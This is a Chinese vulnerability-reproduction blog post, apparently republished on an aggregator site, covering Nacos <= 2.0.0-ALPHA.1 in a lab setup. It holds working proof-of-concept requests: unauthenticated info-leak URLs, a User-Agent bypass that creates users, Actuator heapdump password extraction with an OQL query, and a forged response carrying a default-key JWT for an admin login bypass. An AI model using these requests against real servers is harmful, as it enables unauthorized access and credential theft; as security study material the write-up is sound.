nacos漏洞复现

这篇具有很好参考价值的文章主要介绍了nacos漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

🌕写在前面

  • 🍊博客主页:Scorpio_m7,github
  • 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
  • 🌟本文由 Scorpio_m7原创,CSDN首发!
  • 📆首发时间:🌹2022年2月9日🌹
  • ✉️坚持和努力一定能换来诗与远方!
  • 🙏作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢!

概述

Nacos作为一个开源的工具,是阿里开源的 SpringCloud Alibaba 项目下的一项技术,是服务注册中心、分布式配置中心,主要功能有:

  1. 服务发现,即服务注册中心,当每个服务实例启动之后,都主动向注册中心登记自己的地址信息,这样注册中心便拥有了所有服务实例的记录;
  2. 配置管理,系统中所有配置的编辑、存储、分发、变更管理、历史版本管理、变更审计等所有与配置相关的活动。

环境搭建

Nacos作为一项开源的项目,直接在GitHub或者官网便可下载。漏洞影响版本:Nacos <= 2.0.0-ALPHA.1

Linux

tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
./startup.sh -m standalone

windows

E:\nacos\bin>startup.cmd -m standalone

浏览器访问http://your-ip:8848/nacos,默认账号密码nacos/nacos

漏洞复现

信息泄露

在未登录的情况下访问url,查看nacos默认安装后泄露的内网ip地址,poc:

http://ip:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

在未登录的情况下访问url,查看nacos默认安装后泄露的用户列表,poc:

http://ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9

任意用户创建

根据Nacos官方在github发布的issue所披露的,漏洞主要由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

访问http://your-ip:8848/nacos/v1/auth/users。利用POST传参,此处的参数为username=test&password=test,修改User-Agent头为Nacos-Server。发送POST请求,返回码200,成功创建test用户,poc:

POST /nacos/v1/auth/users HTTP/1.1
Host: ip:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=test&password=test

test用户成功登录,可以看到有配置管理以及服务管理两个重要功能,因此,但攻击者可以任意进去后便可获得系统下的服务信息,进而进行更多的利用,包括一些数据库服务以及druid的监控服务等。

使用Spring Boot获得账号及密码

任意用户创建在Nacos <= 2.0.0-ALPHA.1大部分都被修复了,因此漏洞一的方法无法继续使用,但由于部分nacos在sping boot框架下搭建的,导致由于spring boot本身带有的信息泄露漏洞导致。

springboot 框架下拥有一个Actuator ,用来提供对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,其中Spring Boot 1.x版本默认在Url根目录下,Spring Boot 2.x版本端点移动到/actuator/路径。

Actuator默认带有的接口有:

路径 描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过。
/configprops 描述配置属性(包含默认值)如何注入 Bean。
/beans 描述应用程序上下文里全部的 Bean,以及它们的关系。
/dump 获取线程活动的快照。
/env 获取全部环境属性。
/health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供。
/info 获取应用程序的定制信息,这些信息由 info 打头的属性提供。
/mappings 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系。
/metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数。
/shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)。
/trace(httptrace) 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)。
/heapdump heap dump内存溢出生成的文件,记录内存信息。

在无法直接使用未授权漏洞去登入情况下,通过目录扫描发现存在大量未授权接口:

F:\dirsearch-master>python dirsearch.py -u http://192.168.20.1:8848 -r

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903
Output File: F:\dirsearch-master\reports\192.168.20.1\_22-02-09_18-01-51.txt
Error Log: F:\dirsearch-master\logs\errors-22-02-09_18-01-51.log
Target: http://192.168.20.1:8848/
[18:01:51] Starting: 
[18:01:51] 302 -    0B  - /nacos  ->  http://192.168.20.1:8848/nacos/     (Added to queue)       
[18:02:27] Starting: nacos/                               
[18:02:41] 200 -    2KB - /nacos/actuator
[18:02:41] 200 -  198B  - /nacos/actuator/auditevents
[18:02:41] 200 -  157KB - /nacos/actuator/beans
[18:02:41] 200 -   20B  - /nacos/actuator/caches
[18:02:41] 200 -  100KB - /nacos/actuator/conditions
[18:02:41] 200 -    8KB - /nacos/actuator/configprops
[18:02:41] 200 -   22KB - /nacos/actuator/env
[18:02:41] 200 -   15B  - /nacos/actuator/health
[18:02:41] 200 -    2B  - /nacos/actuator/info
[18:02:42] 200 -   50KB - /nacos/actuator/httptrace
[18:02:42] 200 -  102KB - /nacos/actuator/mappings                         
[18:02:42] 200 - 1012B  - /nacos/actuator/metrics
[18:02:42] 200 -  701B  - /nacos/actuator/scheduledtasks
[18:02:42] 200 -   92KB - /nacos/actuator/loggers
[18:02:43] 200 -  565KB - /nacos/actuator/threaddump           
[18:02:43] 200 -   25KB - /nacos/actuator/prometheus
[18:02:47] 200 -   98MB - /nacos/actuator/heapdump                                                   
[18:03:02] 200 -  946B  - /nacos/favicon.ico                         
[18:03:03] 200 -    3KB - /nacos/index.html                                                           
[18:03:06] 200 -    1KB - /nacos/login.html                      
                                                          
Task Completed

这些接口存在大量敏感信息,可以从中直接获取到服务器的环境变量,内网ip,Web请求的详细信息,包括请求方法、路径、时间戳以及请求和响应的头信息甚至cookie信息

关键信息

  • /env接口:会生成应用程序可用的所有环境属性的列表,无论这些属性是否用到。这其中包括环境变量、JVM 属性、命令行参数,以及 application.properties 或 application.yml 文件提供的属性。
  • /heapdump接口:当访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret、key等)的属性名对应的属性值用 * 号替换达到脱敏的效果。而此时若是想要找到想要获取的被星号 * 遮掩的属性值对应的属性名可以通过下载heapdump 文件从其中获取信息。

其中heapdump是系统自动生成一个 Jvm 的堆文件,该文件保存了某一时刻JVM堆中对象使用情况,也可能包含着一些密码属性,通过对该文件进行解读可以从获取到nacos的密码。使用MemoryAnalyzer内存查看工具

nacos漏洞复现

此处可以执行OQL语句,有点类似SQL语句,执行以下OQL语句获得密码。

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

nacos漏洞复现

利用Spring Boot也同样可以获取其他密码,如下图是另一个nacos的env接口,通过该接口可以看到此nacos监控了“SQL监控服务”
nacos漏洞复现

利用heapdump获取该脱敏数据,执行语句:select * from org.springframework.web.context.support.StandardServletEnvironment
nacos漏洞复现

后台未授权登录

根据Nacos官方在github发布的issue所披露的。漏洞主要由于NACOS使用了默认的JWT key导致的未授权访问漏洞。通过该漏洞,攻击者可以绕过用户名和密码验证直接登录到nacos用户后台。

访问http://192.168.20.1:8848/nacos/index.html。输入任意账号和密码,用bp抓取登录的数据包,拦截返回包。

nacos漏洞复现

点击forward,返回包为

HTTP/1.1 403 
Content-Type: application/json;charset=UTF-8
Content-Length: 13
Date: Wed, 09 Feb 2022 11:08:26 GMT
Connection: close

unknown user!

修改response。forward后,浏览器已经成功登录nacos用户,poc:文章来源地址https://www.toymoban.com/news/detail-478665.html

HTTP/1.1 200
Server: nginx/1.19.6
Date: Sun, 11 Apr 2021 01:48:17 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://47.93.46.78:9090
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Length: 162

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}

到了这里,关于nacos漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的

    2024年02月08日
    浏览(52)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(45)
  • 框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月08日
    浏览(52)
  • 漏洞复现|Kyan密码泄露/命令执行漏洞

    所有发布的技术文章仅供参考,未经授权请勿利用文章中的技术内容对任何计算机系统进行入侵操作,否则对他人或单位而造成的直接或间接后果和损失,均由使用者本人负责。 Kyan网络监控设备存在账号密码泄露漏洞,该漏洞是由于开发人员将记录账户密码的文件放到网站

    2024年02月12日
    浏览(44)
  • 漏洞笔记--Jira 相关漏洞复现及利用

    Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。 为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境 拉取vulhub git clone https://github.com/vulhub/vulhub.git cd vulhub-

    2024年02月13日
    浏览(47)
  • 永恒之蓝漏洞原理及漏洞复现

    摘要 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个

    2024年02月03日
    浏览(84)
  • 【漏洞复现】泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

    泛微e-office OfficeServer2.php 存在任意文件读取漏洞,攻击者可通过构造特定Payload获取敏感数据信息。 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果

    2024年02月09日
    浏览(51)
  • 【漏洞复现】Sentinel Dashboard默认弱口令漏洞

            Sentinel Dashboard是一个轻量级的开源控制台,提供机器发现以及健康情况管理、监控、规则管理和推送的功能。它还提供了详细的被保护资源的实际访问统计情况,以及为不同服务配置的限流规则。         Sentinel Dashboard存在默认弱口令sentinel/sentinel,攻击者可

    2024年01月16日
    浏览(52)
  • 【安全漏洞】ThinkPHP 3.2.3 漏洞复现

    在 HomeControllerIndexController 下的index中传入了一个可控参数,跟进调试看一下。 跟进 display() 一路跟进到 fetch() ,然后一路进入 Hook::listen(\\\'view_parse\\\', $params); 关键地方在这,我们之前 index 里的内容被存入了缓存文件php文件中,连带着我们输入的可控的php代码也在其中,然后包

    2024年02月12日
    浏览(49)
  • 若依框架漏洞(若依管理框架漏洞复现)

    若依框架是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布

    2024年02月11日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包